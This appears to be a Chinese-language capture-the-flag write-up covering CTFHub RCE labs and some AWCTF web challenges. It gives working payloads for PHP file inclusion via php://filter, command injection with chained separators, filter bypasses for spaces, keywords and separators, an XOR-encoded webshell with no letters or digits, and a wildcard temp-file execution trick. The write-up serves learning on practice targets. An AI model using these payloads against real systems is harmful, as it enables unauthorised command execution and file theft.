RCE
RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);
1. “|”:直接执行后面的语句。 2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。 3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。 4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
Linux系统支持的管道符如下:
1. “;”:执行完前面的语句再执行后面的语句。 2. “|”:显示后面语句的执行结果。 3. “||”:当前面的语句执行出错时,执行后面的语句。 4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
文件包含
打开靶场之后发现有文件包含,并提示有一个shell.txt
#request = post + get
于是构造payload,往ctfhub里传参
php://input
代码目的是限制只能使用php开头的伪协议
读取源代码
审代码,照样只能使用php开头的伪协议,说flag在flag里
这里直接告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容
?file=php://filter/convert.base64-encode/resource=/flag
最后的结果base64解码就出来了
远程包含
offset
如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。
这个好像跟之前那个一样。
eval执行
如出一辙。
命令注入
发现直接cat 24608238216603.php 无回显,可能是编码问题。所以,
命令:
127.0.0.1&cat 24608238216603.php | base64
base64解码
过滤cat
过滤了cat,所以
反斜杠 : 例如 ca flag.php
跟上个题类似,查看源码。
过滤空格
在 bash 下, 可以用以下字符代替空格:
<,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS 等
所以,跟前几个题一样只要把空格部分替换成以上任一个即可
过滤目录分隔符
然后直接
127.0.0.1&cd flag_is_here;cat flag_25491463815130.php
查看源代码
过滤运算符
过滤了 | 与 & ,那我们就使用 ; 分隔命令来代替
综合过滤练习
好家伙,过滤了这么多
url补充表
分隔符可以使用%0a
代替
若直接使用文本框上传命令会导致字符被转义,直接访问URL
/?ip=127.0.0.1%0als
=> 127.0.0.1;ls
查看目录
接下来要访问flag_is_here
,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容
%09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here) %5c 代替 (用 来分隔开 cat ,因为cat也被过滤了)
接下来
/?ip=127.0.0.1%0Acd%09*_is_here%0Aca %09*_18107462926.php
查看源代码
AWCTF部分web题
无参数
https://blog.csdn.net/qq_45781155/article/details/109366816
data协议
data协议 base64
</dev/null无过滤
无参数读取文件
参考:https://www.freebuf.com/articles/web/261800.html
就尝试着找,发现dirname行得通。
发现行不通,需要chdir改工作路径,所以多刷新几次就ok.
不包含数字和字母的webshell
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
先url输一遍:?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);
然后再hackbar
无字母数字命令执行
参考:https://blog.csdn.net/weixin_54515836/article/details/113305690
附上脚本:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>POST数据包POC</title> </head> <body> <form action="http://xxxxxxxxxxxxxxxxxxx.chall.ctf.show/" method="post" enctype="multipart/form-data"> <!--链接是当前打开的题目链接--> <label for="file">文件名:</label> <input type="file" name="file" id="file"><br> <input type="submit" name="submit" value="提交"> </form> </body> </html>
在这个页面上上传1.php,然后抓包
#!/bin/sh
ls
最后的payload
?c=.+/???/????????[@-[]